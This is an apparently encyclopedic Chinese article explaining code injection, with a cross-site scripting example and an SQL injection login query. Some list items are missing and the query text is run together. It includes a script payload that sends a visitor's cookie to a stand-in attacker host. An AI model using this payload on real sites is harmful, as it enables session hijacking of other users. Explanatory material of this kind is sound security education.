代码注入(英语:Code injection)是一种肇因于处理非法资料的电脑臭虫应用。代码注入可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行进程或目的。代码注入攻击的结果可以是灾难性的。例如说:代码注入可作为许多电脑蠕虫繁殖的温床。
举例说,有一间公司的网页服务器上有一个签名簿的代码,用来让用户发表简短的口信,例如:
Nice site!
不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图透过留下一条附带有代码的口信,例如:
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件臭虫可被用户意外的触发,亦即造成该网站暴露 HTML 代码。
That post was awesome, :>)
在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。
大部分这类的问题与哪些可能输入资料,或者特殊资料效果的错误假设相关。一些软件开发员可能犯下危险假设的经典示例如下:
代码注入的使用一般被视为心怀恶意的举动,而它确实常常如此。透过代码注入技术在黑或者破解系统上,以获取信息、提权、或者非法访问某系统是相当流行的。
恶意用途的代码注入可包括:
某些人可能会出于善意而使用代码注入。例如,透过代码注入以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:
这些人诉诸此种替代手段大致是下面几种原因之一:
一般开发社区对以此为目的的代码注入不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)
某些开发者允许或者甚至表扬代码注入的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。
一般来说,即使相当善意的代码注入使用都不被建议使用。
某些用户可能会不经意的进行代码注入,因为他们对程序提供的输入,没列在当初开发系统者的考虑中。例如:
要避免代码注入的种种问题,得充分发挥输入输出处理保全,例如:
SQL注入是种乘SQL语法之利,注入可读取或者修改数据库、或者扭曲原始查询意义的命令。
以一个网页有两个字段让用户输入用户名与密码为例,在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名密码列表相符:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'